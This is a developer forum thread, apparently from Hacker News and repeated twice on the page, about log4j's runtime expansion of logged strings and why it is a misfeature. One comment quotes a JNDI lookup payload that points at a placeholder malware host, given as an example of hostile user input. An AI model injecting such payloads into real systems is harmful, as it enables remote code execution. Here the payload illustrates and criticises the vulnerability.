4 ms·

Yes — simple pattern expansion is pretty handy. For example: log.debug(“Added {} records”, added.size()); In this example, the cost of string concatenatio

by pcl 5y ago

Yes — simple pattern expansion is pretty handy. For example: log.debug(“Added {} records”, added.size()); In this example, the cost of string concatenation / interpolation can be avoided when debug-level logging isn’t enabled, which is a lot cleaner to read than surrounding all the detailed logging with “if (log.debugEnabled())” checks. I agree that the more complex expansions that log4j evolved to support are of pretty marginal use. The oft-cited examples — context information — are IMO better added as additional fields in the log record than developer-interpolated strings.

alkonaut 5y ago
Yes that expansion I use of course. But that’s what I meant by by the language runtime, e.g the log(String msg, object[] args) is merely used as an alias for log(String.format(msg, args)).
- pcl 5y ago
  Gotcha. The difference is important, since a good log framework won't simply delegate, but will first check that the log level is enabled. This often matters, if there are any log statements in high-cardinality loops, since the memory pressure of creating all the strings adds up, but the trivial stack frames can often be optimized away / trivialized, depending on the language, runtime, etc. I used to be a big believer in doing manual log-enabled checks, but man, does that make the code noisy. I still do that when I want to log something non-trivial to compute, but that's the exception, not the rule.
jasode 5y ago
>simple pattern expansion is pretty handy. For example: [...] added.size() I think you misunderstood the gp's scenario question. Your example of "added.size()" would be static code that was written by the friendly programmer and evaluated at compile time. We do expect that baseline functionality as reasonable and gp wasn't asking about that. Instead, what folks are wondering about is dynamic and recursive template expansion of 2nd-parameter strings at runtime supplied by potential hostile adversary such as: log.debug("Added {} records", sAdversarialUserSuppliedString); ... and sAdversarialUserSuppliedString itself has an embedded "{}" with evil contents such as "${jndi:ldap://malware.net:1234/runviruscode}" With that extra power and "convenience" provided by log4j, it becomes a backdoor "eval()" for arbitrary user-supplied code. The gp's question restated could be: "Who legitimately needs that type of runtime template expansion in the 2nd parameter of sAdversarialUserSuppliedString and what have I been missing by not needing to do that? I seem to have gotten by on just using template expansion only in the 1st parameter."
- pcl 5y ago
  Yes, and I think that both your example of expansion and the milder `log.debug("Added {} records. Build: ${buildId}")` (in which the logging infra evaluates "${buildId}") are bad, and mis-features in a logging infrastructure.
  - alkonaut 5y ago
    Exactly, my question was basically that: what scenarios are there that we need the logging to expand, that can't be expanded at the call site? The usual ones are e.g. the date and time (which are popularly set in some logging pattern like %date %loglevel %message). But beyond that, why would I need the logging infra to expand anything in the message portion?

by pcl 5y ago

alkonaut 5y ago

Yes that expansion I use of course. But that’s what I meant by by the language runtime, e.g the log(String msg, object[] args) is merely used as an alias for log(String.format(msg, args)).

pcl 5y ago
Gotcha. The difference is important, since a good log framework won't simply delegate, but will first check that the log level is enabled. This often matters, if there are any log statements in high-cardinality loops, since the memory pressure of creating all the strings adds up, but the trivial stack frames can often be optimized away / trivialized, depending on the language, runtime, etc. I used to be a big believer in doing manual log-enabled checks, but man, does that make the code noisy. I still do that when I want to log something non-trivial to compute, but that's the exception, not the rule.

jasode 5y ago

>simple pattern expansion is pretty handy. For example: [...] added.size() I think you misunderstood the gp's scenario question. Your example of "added.size()" would be static code that was written by the friendly programmer and evaluated at compile time. We do expect that baseline functionality as reasonable and gp wasn't asking about that. Instead, what folks are wondering about is dynamic and recursive template expansion of 2nd-parameter strings at runtime supplied by potential hostile adversary such as: log.debug("Added {} records", sAdversarialUserSuppliedString); ... and sAdversarialUserSuppliedString itself has an embedded "{}" with evil contents such as "${jndi:ldap://malware.net:1234/runviruscode}" With that extra power and "convenience" provided by log4j, it becomes a backdoor "eval()" for arbitrary user-supplied code. The gp's question restated could be: "Who legitimately needs that type of runtime template expansion in the 2nd parameter of sAdversarialUserSuppliedString and what have I been missing by not needing to do that? I seem to have gotten by on just using template expansion only in the 1st parameter."

pcl 5y ago
Yes, and I think that both your example of expansion and the milder `log.debug("Added {} records. Build: ${buildId}")` (in which the logging infra evaluates "${buildId}") are bad, and mis-features in a logging infrastructure.
- alkonaut 5y ago
  Exactly, my question was basically that: what scenarios are there that we need the logging to expand, that can't be expanded at the call site? The usual ones are e.g. the date and time (which are popularly set in some logging pattern like %date %loglevel %message). But beyond that, why would I need the logging infra to expand anything in the message portion?